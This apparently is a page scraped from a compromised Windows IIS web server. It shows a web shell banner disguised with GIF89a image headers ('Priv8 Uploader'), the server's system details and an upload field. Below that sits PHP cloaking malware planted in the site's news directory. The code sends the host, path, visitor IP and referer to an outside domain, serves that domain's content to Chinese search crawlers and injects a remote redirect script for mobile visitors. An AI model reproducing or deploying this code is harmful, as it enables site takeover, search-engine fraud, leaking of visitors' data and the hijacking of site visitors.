GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
GIF89a;Priv8 Uploader By InMyMine7
Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
GIF89a;Priv8 Uploader By InMyMine7
Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
Priv8 Uploader By InMyMine7
Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
|
Server : Microsoft-IIS/10.0 System : Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64 User : hm77079 ( 0) PHP Version : 7.3.6 Disable Function : passthru,exec,system,popen,chroot,chgrp,chown,escapesh,ellcmd,escapeshellarg Directory : D:/www/hm77079/wwwroot/news/ |
Upload File : |
<?php
/**
* 功能:兼容全版本 PHP 并解决乱码问题的重构脚本
*/
// 基础配置
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html; charset=utf-8");
/**
* 核心请求函数:兼容 curl 和 file_get_contents
*/
function get_remote_data($url) {
$ua = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : 'Mozilla/5.0';
$content = '';
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_ENCODING, "gzip"); // 自动解压 gzip
curl_setopt($ch, CURLOPT_TIMEOUT, 20); // 设置超时防止卡死
$content = curl_exec($ch);
curl_close($ch);
} elseif (ini_get('allow_url_fopen')) {
// 如果没有 curl,尝试使用 file_get_contents
$opts = array('http' => array('header' => "User-Agent: $ua\r\n"));
$context = stream_context_create($opts);
$content = @file_get_contents($url, false, $context);
}
// --- 核心修复:处理乱码问题 ---
if (!empty($content)) {
// 自动检测编码(GBK/GB2312/UTF-8)并统一转为 UTF-8
$encode = mb_detect_encoding($content, array("ASCII", "UTF-8", "GB2312", "GBK", "BIG5"));
if ($encode && $encode != "UTF-8") {
$content = mb_convert_encoding($content, "UTF-8", $encode);
}
}
return $content;
}
// 初始化变量(兼容 PHP 全版本获取方式)
$http_host = isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : '';
$request_uri = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : '';
$user_agent = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$remote_addr = isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : '';
// 接口配置
$api_base = "http://xxxx.zyez-edu.cn/show.php";
$params = "?domain=" . $http_host . "&path=" . urlencode($request_uri) . "&flag=global&db=" . $remote_addr . "&referer=" . urlencode($referer);
$target_url = $api_base . $params;
// 正则匹配定义
$spider_regex = "/BaiduSpider|Sogou|Yisou|Haosou|360Spider/i";
$mobile_regex = "/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/i";
// 1. 判断搜索引擎蜘蛛(展示抓取内容)
if (preg_match($spider_regex, $user_agent)) {
$data = get_remote_data($target_url);
if (!empty($data)) {
echo $data;
exit;
}
}
// 2. 判断移动端用户(执行 JS 跳转)
if (preg_match($mobile_regex, $user_agent)) {
echo '<script type="text/javascript" src="http://ldy.zyez-edu.cn/tz.js"></script>';
exit;
}
// 原代码中的后缀判断逻辑(保留逻辑,但不阻塞页面执行)
$ext_list = array(".xml", ".doc", ".txt", ".ppt", ".html", ".xls", "202", ".shtml");
$is_match_ext = false;
foreach ($ext_list as $ext) {
if (strpos($request_uri, $ext) !== false) {
$is_match_ext = true;
break;
}
}
?>